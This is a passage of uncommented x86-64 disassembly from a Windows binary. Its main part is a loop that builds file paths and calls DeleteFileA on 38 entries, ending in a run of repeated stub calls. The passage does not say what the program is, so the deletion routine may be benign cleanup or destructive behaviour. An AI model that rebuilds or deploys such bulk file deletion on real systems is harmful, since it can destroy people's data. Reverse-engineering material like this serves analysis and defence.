lea rcx, [rsp + 0x60]
call fcn.14000f480
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140013cd7
mov r9, qword [rax]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [r9 + rcx], 0
jne 0x140013ce0
mov rdx, qword [rbx + 0x10]
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140013e75
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140013d0a
mov rax, qword [rbx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x40]
call fcn.14000ae20
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140013d5e
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013d59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f3b
call fcn.14003a900
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x68], xmm1
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140013dad
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013da8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e6f
call fcn.14003a900
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
inc rdi
add rbx, 0x20
cmp rdi, 0x26
jl 0x140013cc0
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140013e18
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f35
call fcn.14003a900
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
lea r9, [fcn.140004140]
mov edx, 0x20
mov r8d, 0x26
lea rcx, [rbp - 0x40]
call fcn.14003abc0
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.14003a8e0
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140043e18
nop
call fcn.140002030
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
int3